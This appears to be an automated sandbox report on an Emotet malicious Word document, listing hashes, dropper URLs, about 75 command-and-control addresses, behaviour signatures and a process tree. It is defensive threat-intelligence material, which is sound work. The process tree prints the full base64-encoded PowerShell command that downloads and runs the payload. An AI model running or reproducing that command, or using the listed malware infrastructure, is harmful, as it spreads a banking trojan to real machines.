emotet | 2d8682c477770888a393f8ea81ef179de62ac65bf96f2f77e234518aecbd93f7

Analysis

max time kernel
135s
max time network
144s
platform
windows10_x64
resource
win10
submitted
25/08/2020, 06:56

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General

Target
emotet_e3_2d8682c477770888a393f8ea81ef179de62ac65bf96f2f77e234518aecbd93f7_2020-08-25__065521._doc.doc
Size 241KB
Sample200825-b3cgdpm85n
SHA256 2d8682c477770888a393f8ea81ef179de62ac65bf96f2f77e234518aecbd93f7
MD5 0a9c59cf4bee0eed261889ad10bd1d04
SHA1 fa1545fda59ef439071ddd1310435b311050e667
SHA512 3dbdccbab0eae89544a5c264209ffc023f42fe39884b7b4d81e3461c106bb599cc3ba5b088afb8766e1f3034520fc45b05c097386feeba1ad41abda4a179cb10
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://www.luxelistreviews.com/wp-includes/AYR/
exe.dropper
https://www.yhyhzx.com/wp-admin/pKpz/
exe.dropper
http://mediadrive.nichost.ru/awfcatfre/9thw57489/
exe.dropper
http://kumarpratham.com/fonts/Wtuq/
exe.dropper
http://fxea.club/wp-includes/mPqJMPzx/
exe.dropper
https://xiangfu.phjrt.com/0qeoy/voB355f13v2j475/
exe.dropper
https://www.batamry.com/tmp/baeng79095371/

Extracted

Family

emotet

162.249.220.190:80
85.25.207.108:8080
178.128.14.92:8080
50.116.78.109:8080
181.113.229.139:443
192.241.220.183:8080
203.153.216.178:7080
177.32.8.85:80
139.99.157.213:8080
31.146.61.34:80
192.210.217.94:8080
188.251.213.180:443
185.208.226.142:8080
198.57.203.63:8080
220.254.198.228:443
201.213.177.139:80
197.221.158.162:80
95.216.205.155:8080
177.94.227.143:80
115.78.11.155:80
178.33.167.120:8080
190.164.75.175:80
115.79.195.246:80
112.78.142.170:80
37.46.129.215:8080
139.59.12.63:8080
186.109.152.201:80
201.235.10.215:80
190.53.144.120:80
77.74.78.80:443
86.98.143.163:80
75.127.14.170:8080
74.208.173.91:8080
87.106.231.60:8080
172.105.78.244:8080
81.214.253.80:443
143.95.101.72:8080
202.5.47.71:80
113.161.148.81:80
81.17.93.134:80
157.7.164.178:8081
66.61.94.36:80
51.38.201.19:7080
192.163.221.191:8080
168.0.97.6:80
181.114.114.203:80
188.0.135.237:80
118.70.15.19:8080
107.161.30.122:8080
190.190.15.20:80
185.86.148.68:443
86.57.216.23:80
60.125.114.64:443
179.5.118.12:80
195.201.56.70:8080
91.83.93.103:443
179.62.238.49:80
197.249.6.179:443
175.29.183.2:80
177.144.130.105:443
71.57.180.213:80
190.212.140.6:80
113.203.250.121:443
172.96.190.154:8080
41.185.29.128:8080
181.126.54.234:80
185.142.236.163:443
173.94.215.84:80
5.79.70.250:8080
181.137.229.1:80
78.189.60.109:443
46.32.229.152:8080
217.199.160.224:8080
46.105.131.68:8080
216.75.37.196:8080
105.209.235.113:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	788	powersheLL.exe	68

Blacklisted process makes network request 1 IoCs

flow	pid	Process
8	2108	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4136	C3bc3av5i.exe
4240	gamemonitor.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\getmac\gamemonitor.exe	C3bc3av5i.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3404	WINWORD.EXE
3404	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2108	powersheLL.exe
2108	powersheLL.exe
2108	powersheLL.exe
4240	gamemonitor.exe
4240	gamemonitor.exe
4240	gamemonitor.exe
4240	gamemonitor.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2108	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
3404	WINWORD.EXE
4136	C3bc3av5i.exe
4136	C3bc3av5i.exe
4240	gamemonitor.exe
4240	gamemonitor.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 4136	2108	powersheLL.exe	74
PID 2108 wrote to memory of 4136	2108	powersheLL.exe	74
PID 2108 wrote to memory of 4136	2108	powersheLL.exe	74
PID 4136 wrote to memory of 4240	4136	C3bc3av5i.exe	76
PID 4136 wrote to memory of 4240	4136	C3bc3av5i.exe	76
PID 4136 wrote to memory of 4240	4136	C3bc3av5i.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_2d8682c477770888a393f8ea81ef179de62ac65bf96f2f77e234518aecbd93f7_2020-08-25__065521._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3404

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABNAHIAcgAzADEAbQBfAD0AKAAnAFYAeQAnACsAJwBzAGQANwBrAGsAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBOAHYAOgB0AEUAbQBwAFwAbwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAGAAUgBpAFQAWQBgAFAAUgBPAHQAYABPAGMAbwBMACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAMgAnACsAJwAsACAAdAAnACsAJwBsAHMAMQAxACwAIAB0AGwAcwAnACkAOwAkAEYAagBxAGsAdwBfAGwAIAA9ACAAKAAnAEMAMwBiAGMAJwArACcAMwAnACsAJwBhAHYAJwArACcANQBpACcAKQA7ACQATAA3AGsANwBqADcAZwA9ACgAJwBGAHgAJwArACcAZwB3ADMANABtACcAKQA7ACQARABsADUAZQBkAGMANgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0ATwBmACcAKwAnAGYAJwArACcAaQBjAGUAMgAnACsAJwAwADEAOQB7ADAAfQAnACkAIAAtAEYAIAAgAFsAYwBoAEEAUgBdADkAMgApACsAJABGAGoAcQBrAHcAXwBsACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABIAHAAdQAyAGcAOQBfAD0AKAAnAEUANQAnACsAJwA5AGkAaAAnACsAJwByADcAJwApADsAJABMAHIAaQBnAG8AdwBmAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAHcARQBiAGMATABpAGUAbgB0ADsAJABYAGMAbgB5AGUAMgBnAD0AKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgBsAHUAeABlAGwAaQAnACsAJwBzACcAKwAnAHQAJwArACcAcgBlAHYAJwArACcAaQBlAHcAcwAuAGMAbwAnACsAJwBtAC8AdwAnACsAJwBwAC0AaQAnACsAJwBuAGMAbAB1AGQAJwArACcAZQBzAC8AJwArACcAQQBZACcAKwAnAFIALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAnAC8ALwAnACsAJwB3ACcAKwAnAHcAdwAuAHkAaAB5ACcAKwAnAGgAegB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQAnACsAJwBpAG4ALwAnACsAJwBwAEsAcAB6AC8AJwArACcAKgBoAHQAdAAnACsAJwBwADoALwAvACcAKwAnAG0AZQBkAGkAJwArACcAYQBkACcAKwAnAHIAJwArACcAaQB2ACcAKwAnAGUALgBuAGkAYwAnACsAJwBoAG8AJwArACcAcwB0AC4AcgB1AC8AYQAnACsAJwB3AGYAYwBhAHQAJwArACcAZgAnACsAJwByAGUALwA5AHQAJwArACcAaAB3ADUAJwArACcANwA0ADgAOQAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwBrAHUAbQAnACsAJwBhAHIAJwArACcAcAByAGEAdABoAGEAbQAnACsAJwAuACcAKwAnAGMAbwBtAC8AZgAnACsAJwBvAG4AdABzAC8AVwAnACsAJwB0AHUAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8ALwBmAHgAZQBhAC4AYwBsAHUAJwArACcAYgAvAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKwAnAG0AJwArACcAUABxAEoATQBQAHoAJwArACcAeAAvACcAKwAnACoAaAB0AHQAcABzADoAJwArACcALwAnACsAJwAvAHgAaQAnACsAJwBhAG4AZwAnACsAJwBmAHUALgBwAGgAagByAHQALgBjACcAKwAnAG8AbQAvACcAKwAnADAAcQBlACcAKwAnAG8AeQAvACcAKwAnAHYAbwBCADMANQA1AGYAMQAzAHYAJwArACcAMgBqACcAKwAnADQANwA1AC8AKgBoAHQAdABwAHMAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBiAGEAJwArACcAdAAnACsAJwBhAG0AcgB5AC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB0AG0AJwArACcAcAAvACcAKwAnAGIAJwArACcAYQBlACcAKwAnAG4AZwAnACsAJwA3ADkAMAA5ACcAKwAnADUAMwA3ACcAKwAnADEAJwArACcALwAnACkALgAiAFMAcABsAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBvADkAZQA4ADkAbwA9ACgAJwBYADgAZAAnACsAJwB4ACcAKwAnAHcAcgBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFcAcwAwAHoAZQB4AG4AIABpAG4AIAAkAFgAYwBuAHkAZQAyAGcAKQB7AHQAcgB5AHsAJABMAHIAaQBnAG8AdwBmAC4AIgBkAG8AVwBgAE4AYABMAG8AQQBEAGAARgBJAEwAZQAiACgAJABXAHMAMAB6AGUAeABuACwAIAAkAEQAbAA1AGUAZABjADYAKQA7ACQAVABlADEAZgBqAHIAZgA9ACgAJwBYACcAKwAnAHgAegAnACsAJwBxADkAOQAzACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABEAGwANQBlAGQAYwA2ACkALgAiAEwAZQBuAGAAZwBgAFQAaAAiACAALQBnAGUAIAAzADQANAAwADkAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQARABsADUAZQBkAGMANgApADsAJABOAGMAbgA3AGkAMgBuAD0AKAAnAFkANgBqADYAbQAnACsAJwBiADEAJwApADsAYgByAGUAYQBrADsAJABTAHMAZAAyADIAbgBjAD0AKAAnAEwAaQAnACsAJwBrACcAKwAnAGkAMAB6ADAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADgAZABwAHkAbgBzAD0AKAAnAEoAZQBtAHgANwAnACsAJwB4AHUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\C3bc3av5i.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\SysWOW64\getmac\gamemonitor.exe
    "C:\Windows\SysWOW64\getmac\gamemonitor.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4240

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2108-11-0x00007FFEA1D40000-0x00007FFEA272C000-memory.dmp

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memory/2108-13-0x00000210F83F0000-0x00000210F83F1000-memory.dmp

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memory/2108-12-0x00000210F8210000-0x00000210F8211000-memory.dmp

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memory/3404-5-0x0000028779089000-0x000002877908E000-memory.dmp

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memory/3404-4-0x000002877908E000-0x00000287790B9000-memory.dmp

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memory/3404-8-0x00000287711B1000-0x00000287711BD000-memory.dmp

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memory/3404-9-0x000002877B338000-0x000002877B33D000-memory.dmp

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memory/3404-10-0x000002877B338000-0x000002877B33D000-memory.dmp

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memory/3404-6-0x0000028778D0F000-0x0000028778D14000-memory.dmp

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memory/3404-0-0x00007FFEAA320000-0x00007FFEAA9E6000-memory.dmp

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memory/3404-7-0x000002877B337000-0x000002877B338000-memory.dmp

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memory/3404-1-0x000002877908E000-0x00000287790B9000-memory.dmp

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memory/3404-3-0x000002877908E000-0x00000287790B9000-memory.dmp

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memory/3404-2-0x000002877908E000-0x00000287790B9000-memory.dmp

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memory/4136-17-0x0000000000690000-0x000000000069C000-memory.dmp

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memory/4240-20-0x0000000000A20000-0x0000000000A2C000-memory.dmp

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